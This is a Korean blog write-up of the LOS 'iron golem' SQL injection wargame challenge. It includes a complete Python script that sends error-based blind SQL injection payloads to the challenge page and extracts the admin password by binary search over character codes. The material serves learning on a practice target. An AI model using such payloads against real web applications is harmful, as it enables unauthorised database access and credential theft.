LOS - iron golem
2020. 5. 14. 07:37ㆍWeb

소스코드를 봤을땐 sql이 에러가 나는지 안나는지만 구별할 수 있는 문제같다.
실제로 pw='dasdasdasd 이렇게 아루거나 써보면

다음과 같이 에러가 표시되는걸 볼 수 있다.
이 문제는 ' or ' 의 왼쪽이 참일때 오른쪽을 실행하지 않는 특징이나 ' and '의 왼쪽이 거짓일때 오른쪽을 실행하지 않는 특징을 이용하면 될 것 같다. 그래서 다음과 같이 파이썬 코드를 짜 보면 문제가 해결될 것이다.
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
|
import requests
def judgeTF(payload):
url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"
cookies = {
"PHPSESSID" : "나의 PHPSESSID"
}
res = requests.get(url=url+payload,cookies=cookies);
if "preg_match" in res.text:
return True
else :
return False
length = 1
pw = []
while True :
payload = "?pw=\'or if(length(pw)="+str(length)+" ,1,(SELECT 1 union select 2));%00"
if judgeTF(payload):
print ("length : "+str(length))
## 2진 탐색 ##
for i in range(1,length+1):
compare=1
lastCompare = compare
end = False
while True:
payload = "?pw=\'or if(id=\'admin\' and ord(substr(pw,"+str(i)+",1)) > "+str(compare)+",1,(SELECT 1 union select 2));%00"
if judgeTF(payload):
print(".",end="")
else :
print("\n"+str(lastCompare)+" < ord(substr(pw,"+str(i)+",1)) < "+str(compare))
if(compare == 1):
end = True
break;
# 2진탐색 시작
high = compare
low = lastCompare
while True:
mid = int((low + high) / 2)
#print(" mid : "+str(mid)+" | ",end="")
print(".",end="")
#payload = '?pw=\' || id=\'admin\' and ord(substr(pw,'+str(i)+',1)) = \''+str(mid)
payload = "?pw=\' or if(id=\'admin\' and ord(substr(pw,"+str(i)+",1)) =\'"+str(mid)+"\',1,(SELECT 1 union select 2));%00"
if judgeTF(payload):
pw.append(mid)
print("\n")
print(pw)
break
else :
# payload = '?pw=\' || id=\'admin\' and ord(substr(pw,'+str(i)+',1)) < \''+str(mid)
payload = "?pw=\' or if(id=\'admin\' and ord(substr(pw,"+str(i)+",1)) <\'"+str(mid)+"\',1,(SELECT 1 union select 2));%00"
if judgeTF(payload):
high = mid
else :
low = mid
break
lastCompare = compare
compare *= 2
if end == True:
break
print("\n-------------\n")
print(pw)
break
else :
print(payload)
length+=1
for w in pw:
print(chr(w),end="")
|
cs |

length가 길어서 2진탐색을 이용 해 보았다.
'Web' 카테고리의 다른 글
| Dreamhack.io/ 해킹입문, xss (1) | 2020.08.05 |
|---|---|
| 2020 RACTF - C0llide? (1) | 2020.06.10 |
| HackCTF - Wise Saying (1) | 2020.05.10 |
| LOS - xavis (1) | 2020.05.09 |
| LOS - zombie_assassin (1) | 2020.05.08 |